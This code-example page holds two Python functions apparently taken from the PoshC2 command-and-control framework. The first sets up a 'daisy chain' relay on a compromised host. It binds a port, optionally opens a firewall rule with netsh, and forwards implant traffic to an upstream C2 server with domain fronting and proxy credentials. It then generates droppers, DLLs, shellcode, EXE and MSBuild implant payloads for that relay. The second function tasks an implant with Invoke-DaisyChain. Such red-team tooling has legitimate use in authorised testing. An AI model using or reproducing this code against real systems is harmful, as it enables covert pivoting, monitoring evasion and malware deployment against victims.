예제 #1
0
def do_startdaisy(user, command, randomuri):
    check_module_loaded("invoke-daisychain.ps1", randomuri, user)

    elevated = input(Colours.GREEN + "Are you elevated? Y/n " + Colours.END)

    domain_front = ""
    proxy_user = ""
    proxy_pass = ""
    proxy_url = ""
    cred_expiry = ""

    if elevated.lower() == "n":
        cont = input(
            Colours.RED +
            "Daisy from an unelevated context can only bind to localhost, continue? y/N "
            + Colours.END)
        if cont.lower() == "n" or cont == "":
            return

        bind_ip = "localhost"

    else:
        bind_ip = input(Colours.GREEN + "Bind IP on the daisy host: " +
                        Colours.END)

    bind_port = input(Colours.GREEN + "Bind Port on the daisy host: " +
                      Colours.END)
    firstdaisy = input(Colours.GREEN +
                       "Is this the first daisy in the chain? Y/n? " +
                       Colours.END)
    default_url = get_first_url(PayloadCommsHost, DomainFrontHeader)
    default_df_header = get_first_dfheader(DomainFrontHeader)
    if default_df_header == default_url:
        default_df_header = None
    if firstdaisy.lower() == "y" or firstdaisy == "":
        upstream_url = input(Colours.GREEN +
                             f"C2 URL (leave blank for {default_url}): " +
                             Colours.END)
        domain_front = input(
            Colours.GREEN +
            f"Domain front header (leave blank for {str(default_df_header)}): "
            + Colours.END)
        proxy_user = input(
            Colours.GREEN +
            "Proxy user (<domain>\\<username>, leave blank if none): " +
            Colours.END)
        proxy_pass = input(Colours.GREEN +
                           "Proxy password (leave blank if none): " +
                           Colours.END)
        proxy_url = input(Colours.GREEN + "Proxy URL (leave blank if none): " +
                          Colours.END)
        cred_expiry = input(
            Colours.GREEN +
            "Password/Account Expiration Date: .e.g. 15/03/2018: ")

        if not upstream_url:
            upstream_url = default_url
        if not domain_front:
            if default_df_header:
                domain_front = default_df_header
            else:
                domain_front = ""

    else:
        upstream_daisy_host = input(Colours.GREEN +
                                    "Upstream daisy server:  " + Colours.END)
        upstream_daisy_port = input(Colours.GREEN + "Upstream daisy port:  " +
                                    Colours.END)
        upstream_url = f"http://{upstream_daisy_host}:{upstream_daisy_port}"

    command = f"invoke-daisychain -daisyserver http://{bind_ip} -port {bind_port} -c2server {upstream_url}"

    if domain_front:
        command = command + f" -domfront {domain_front}"
    if proxy_url:
        command = command + f" -proxyurl '{proxy_url}'"
    if proxy_user:
        command = command + f" -proxyuser '{proxy_user}'"
    if proxy_pass:
        command = command + f" -proxypassword '{proxy_pass}'"

    if elevated.lower() == "y" or elevated == "":

        firewall = input(Colours.GREEN +
                         "Add firewall rule? (uses netsh.exe) y/N: ")
        if firewall.lower() == "n" or firewall == "":
            command = command + " -nofwrule"

    else:
        print_good(
            "Not elevated so binding to localhost and not adding firewall rule"
        )
        command = command + " -localhost"

    urls = get_allurls()
    command = command + f" -urls '{urls}'"
    new_task(command, user, randomuri)
    update_label("DaisyHost", randomuri)

    createpayloads = input(
        Colours.GREEN +
        "Would you like to create payloads for this Daisy Server? Y/n ")

    if createpayloads.lower() == "y" or createpayloads == "":

        name = input(Colours.GREEN + "Enter a payload name: " + Colours.END)

        daisyhost = get_implantdetails(randomuri)
        proxynone = "if (!$proxyurl){$wc.Proxy = [System.Net.GlobalProxySelection]::GetEmptyWebProxy()}"
        C2 = get_c2server_all()
        urlId = new_urldetails(name, f"\"http://{bind_ip}:{bind_port}\"",
                               "\"\"", proxy_url, proxy_user, proxy_pass,
                               cred_expiry)
        newPayload = Payloads(C2.KillDate,
                              C2.EncKey,
                              C2.Insecure,
                              C2.UserAgent,
                              C2.Referrer,
                              "%s?d" % get_newimplanturl(),
                              PayloadsDirectory,
                              URLID=urlId,
                              PowerShellProxyCommand=proxynone)
        newPayload.PSDropper = (newPayload.PSDropper).replace(
            "$pid;%s" % (upstream_url),
            "$pid;%s@%s" % (daisyhost.User, daisyhost.Domain))
        newPayload.CreateDroppers(name)
        newPayload.CreateRaw(name)
        newPayload.CreateDlls(name)
        newPayload.CreateShellcode(name)
        newPayload.CreateEXE(name)
        newPayload.CreateMsbuild(name)
        print_good("Created new %s daisy payloads" % name)
예제 #2
0
def do_invoke_daisychain(user, command, randomuri):
    check_module_loaded("Invoke-DaisyChain.ps1", randomuri, user)
    urls = get_allurls()
    new_task("%s -URLs '%s'" % (command, urls), user, randomuri)
    update_label("DaisyHost", randomuri)
    print("Now use createdaisypayload")